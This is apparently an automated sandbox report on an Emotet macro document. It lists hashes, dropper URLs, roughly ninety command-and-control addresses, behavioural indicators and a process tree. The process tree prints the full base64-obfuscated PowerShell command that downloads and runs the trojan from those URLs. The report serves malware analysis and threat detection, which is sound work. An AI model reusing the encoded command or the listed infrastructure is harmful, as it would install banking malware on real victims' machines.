emotet | 1c44768cda75d0a80cbdcb3117290ecd6b1cb59936a48c20befb4c2c5224c6eb

General

Target
emotet_e1_1c44768cda75d0a80cbdcb3117290ecd6b1cb59936a48c20befb4c2c5224c6eb_2020-08-21__161736._doc.doc
Size 178KB
Sample200821-k6ggajfllx
SHA256 1c44768cda75d0a80cbdcb3117290ecd6b1cb59936a48c20befb4c2c5224c6eb
MD5 bea2e07f3c0f2fb784860a9df40fb575
SHA1 822ea0de01e477494acff82fb2be24bdfef7be7d
SHA512 d764900ed1be1de610d0811deca9176acf98a4e3facfc279765502408c952c805271237e61c8cba195fd18d772341dc3015fd598c94f484f004b25f5faee6920
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://trilibertyescrow.com/wp-includes/TV/
exe.dropper
http://solucionestecnicom.com/cdrom/onP/
exe.dropper
http://tomki.com/mta-sts/cgi-bin/open_box/uz/
exe.dropper
http://centralaviationsolutions.com/browse/N3/
exe.dropper
http://cloud9bray.com/blog/It/
exe.dropper
http://cyclegypsy.com/hih2_1vu_a5p/Z/
exe.dropper
http://aeinvest.com.vn/cgi-bin/fVU/

Extracted

Family

emotet

C2

181.30.61.163:443
209.126.6.222:8080
5.153.250.14:8080
188.135.15.49:80
104.131.41.185:8080
178.250.54.208:8080
50.28.51.143:8080
170.81.48.2:80
87.106.46.107:8080
191.99.160.58:80
187.162.248.237:80
89.32.150.160:8080
46.28.111.142:7080
190.190.148.27:8080
190.115.18.139:8080
178.79.163.131:8080
73.213.208.163:80
219.92.8.17:8080
95.9.180.128:80
212.71.237.140:8080
82.196.15.205:8080
111.67.12.221:8080
24.135.198.218:80
202.4.57.96:80
61.92.159.208:8080
80.249.176.206:80
77.90.136.129:8080
81.129.198.57:80
58.171.153.81:80
217.13.106.14:8080
24.148.98.177:80
51.255.165.160:8080
190.6.193.152:8080
149.62.173.247:8080
94.206.45.18:80
137.74.106.111:7080
190.195.129.227:8090
85.109.159.61:443
207.144.103.227:80
91.219.169.180:80
217.199.160.224:7080
104.131.103.37:8080
83.169.21.32:7080
82.163.245.38:80
204.225.249.100:7080
152.169.22.67:80
45.161.242.102:80
65.36.62.20:80
185.94.252.27:443
116.125.120.88:443
190.24.243.186:80
190.147.137.153:443
190.128.173.10:80
192.241.146.84:8080
186.250.52.226:8080
68.183.170.114:8080
45.173.88.33:80
12.162.84.2:8080
185.33.0.233:80
68.183.190.199:8080
73.116.193.136:80
213.60.96.117:80
189.2.177.210:443
186.103.141.250:443
177.73.0.98:443
72.47.248.48:7080
2.47.112.152:80
181.129.96.162:8080
5.196.35.138:7080
185.94.252.12:80
190.163.31.26:80
94.176.234.118:443
70.32.84.74:8080
213.176.36.147:8080
114.109.179.60:80
177.74.228.34:80
186.70.127.199:8090
174.100.27.229:80
45.33.77.42:8080
212.93.117.170:80
219.92.13.25:80
188.2.217.94:80
77.55.211.77:8080
172.104.169.32:8080
85.105.140.135:443
209.236.123.42:8080
70.32.115.157:8080
24.135.1.177:80
82.76.111.249:443
192.241.143.52:8080
51.159.23.217:443
191.182.6.118:80
67.247.242.247:80
177.72.13.80:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3392	636	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3912-15-0x00000000005B0000-0x00000000005BC000-memory.dmp	emotet
behavioral2/memory/3912-15-0x00000000005B0000-0x00000000005BC000-memory.dmp	emotet
behavioral2/memory/3108-18-0x0000000000580000-0x000000000058C000-memory.dmp	emotet
behavioral2/memory/3108-18-0x0000000000580000-0x000000000058C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
22	3392	powersheLL.exe
27	3392	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3912	Qklap6og.exe
3108	WMVCORE.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\FlashPlayerApp\WMVCORE.exe	Qklap6og.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3900	WINWORD.EXE
3900	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3392	powersheLL.exe
3392	powersheLL.exe
3392	powersheLL.exe
3108	WMVCORE.exe
3108	WMVCORE.exe
3108	WMVCORE.exe
3108	WMVCORE.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3392	powersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3392 wrote to memory of 3912	3392	powersheLL.exe	76
PID 3392 wrote to memory of 3912	3392	powersheLL.exe	76
PID 3392 wrote to memory of 3912	3392	powersheLL.exe	76
PID 3912 wrote to memory of 3108	3912	Qklap6og.exe	77
PID 3912 wrote to memory of 3108	3912	Qklap6og.exe	77
PID 3912 wrote to memory of 3108	3912	Qklap6og.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1c44768cda75d0a80cbdcb3117290ecd6b1cb59936a48c20befb4c2c5224c6eb_2020-08-21__161736._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3900

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABRAGMAaQB6AHIAcQBxAD0AKAAnAFQAZQAnACsAJwA4AHUAagBtAGsAJwApADsALgAoACcAbgBlAHcAJwArACcALQBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBOAHYAOgBUAEUAbQBwAFwAbwBGAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQBgAFIAYABpAFQAeQBwAHIAYABvAFQATwBjAE8ATAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAnACsAJwAxADIALAAgAHQAJwArACcAbABzADEAMQAnACsAJwAsACcAKwAnACAAdABsAHMAJwApADsAJABOADkAeAAyADkAYwA0ACAAPQAgACgAJwBRACcAKwAnAGsAbABhACcAKwAnAHAANgBvAGcAJwApADsAJABTAGoAMQB6AHcAZABoAD0AKAAnAFgAJwArACcAcgBpADcAJwArACcAMgB3AHkAJwApADsAJABEADIANAB4AGQAdwA5AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ACcAKwAnADAAJwArACcAfQBPACcAKwAnAGYAZgBpAGMAZQAyADAAMQA5AHsAJwArACcAMAAnACsAJwB9ACcAKQAgAC0ARgBbAGMASABBAHIAXQA5ADIAKQArACQATgA5AHgAMgA5AGMANAArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAQgA3ADAAegBvAGYAZwA9ACgAJwBZACcAKwAnAGQAeAAzADMAcwAnACsAJwAzACcAKQA7ACQAVQBjAG4AcAAyAGgAcwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAGwAaQBFAG4AdAA7ACQAVQB3AGQAMwB4AGwAbQA9ACgAJwBoAHQAdABwACcAKwAnAHMAOgAvAC8AdAByAGkAbABpACcAKwAnAGIAZQByAHQAeQBlACcAKwAnAHMAYwByACcAKwAnAG8AdwAuAGMAJwArACcAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAJwArACcAbAB1AGQAZQBzAC8AVABWAC8AKgBoAHQAdABwADoALwAvACcAKwAnAHMAbwBsAHUAYwBpAG8AJwArACcAbgBlACcAKwAnAHMAdABlAGMAbgAnACsAJwBpAGMAbwBtAC4AYwBvACcAKwAnAG0ALwBjAGQAcgAnACsAJwBvAG0ALwBvACcAKwAnAG4AUAAnACsAJwAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8AJwArACcALwB0ACcAKwAnAG8AJwArACcAbQBrAGkALgBjAG8AbQAvACcAKwAnAG0AdABhAC0AcwB0AHMALwAnACsAJwBjAGcAaQAnACsAJwAtAGIAJwArACcAaQBuAC8AbwBwACcAKwAnAGUAbgAnACsAJwBfACcAKwAnAGIAbwB4AC8AdQAnACsAJwB6AC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACcALwAvAGMAZQBuAHQAJwArACcAcgBhAGwAJwArACcAYQB2AGkAJwArACcAYQB0ACcAKwAnAGkAJwArACcAbwBuAHMAbwAnACsAJwBsAHUAdABpAG8AbgAnACsAJwBzAC4AYwBvACcAKwAnAG0AJwArACcALwBiAHIAbwB3AHMAZQAvAE4AMwAvACoAaAAnACsAJwB0ACcAKwAnAHQAJwArACcAcAA6AC8ALwAnACsAJwBjAGwAbwB1AGQAJwArACcAOQBiAHIAYQB5AC4AYwBvACcAKwAnAG0AJwArACcALwAnACsAJwBiAGwAbwBnAC8AJwArACcASQB0AC8AKgBoAHQAdABwACcAKwAnADoALwAnACsAJwAvAGMAJwArACcAeQBjAGwAZQBnAHkAJwArACcAcABzAHkALgAnACsAJwBjACcAKwAnAG8AbQAvAGgAaQBoACcAKwAnADIAXwAxAHYAdQBfAGEANQBwACcAKwAnAC8AWgAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwBhAGUAaQBuAHYAZQBzACcAKwAnAHQALgBjAG8AJwArACcAbQAuAHYAbgAvAGMAJwArACcAZwBpAC0AYgBpAG4ALwBmAFYAVQAvACcAKQAuACIAUwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABBAGEANABoADIAYgBmAD0AKAAnAFMAeQBtADcAYgA1ACcAKwAnADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARwB6ADQAZABsAGQAcAAgAGkAbgAgACQAVQB3AGQAMwB4AGwAbQApAHsAdAByAHkAewAkAFUAYwBuAHAAMgBoAHMALgAiAGQAbwB3AGAATgBsAGAATwBhAGQAZgBJAGwARQAiACgAJABHAHoANABkAGwAZABwACwAIAAkAEQAMgA0AHgAZAB3ADkAKQA7ACQAUQAxAG4AXwBwAHIAawA9ACgAJwBCAGMAMwB0AHEAJwArACcAcABkACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABEADIANAB4AGQAdwA5ACkALgAiAEwAYABFAG4AZwBUAGgAIgAgAC0AZwBlACAAMgA4ADMANgAwACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAEQAMgA0AHgAZAB3ADkAKQA7ACQATwA1ADIANQByAHUAXwA9ACgAJwBZACcAKwAnAF8AMgAnACsAJwA0AGwAdgBlACcAKQA7AGIAcgBlAGEAawA7ACQAWQBmAGMAZQA0AGoAdQA9ACgAJwBHAGYAegAnACsAJwBrAHgAdgBrACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBnAHMAXwBnADcAZgA9ACgAJwBKAGkAcwBzACcAKwAnAHUAMgAyACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3392
- C:\Users\Admin\AppData\Local\Temp\Office2019\Qklap6og.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Qklap6og.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\SysWOW64\FlashPlayerApp\WMVCORE.exe
    "C:\Windows\SysWOW64\FlashPlayerApp\WMVCORE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3108-18-0x0000000000580000-0x000000000058C000-memory.dmp

Download

memory/3392-9-0x00007FFE013E0000-0x00007FFE01DCC000-memory.dmp

Download

memory/3392-10-0x0000018B38F00000-0x0000018B38F01000-memory.dmp

Download

memory/3392-11-0x0000018B39110000-0x0000018B39111000-memory.dmp

Download

memory/3900-0-0x00007FFE08FD0000-0x00007FFE09696000-memory.dmp

Download

memory/3900-6-0x000001B14B10A000-0x000001B14B11B000-memory.dmp

Download

memory/3912-15-0x00000000005B0000-0x00000000005BC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads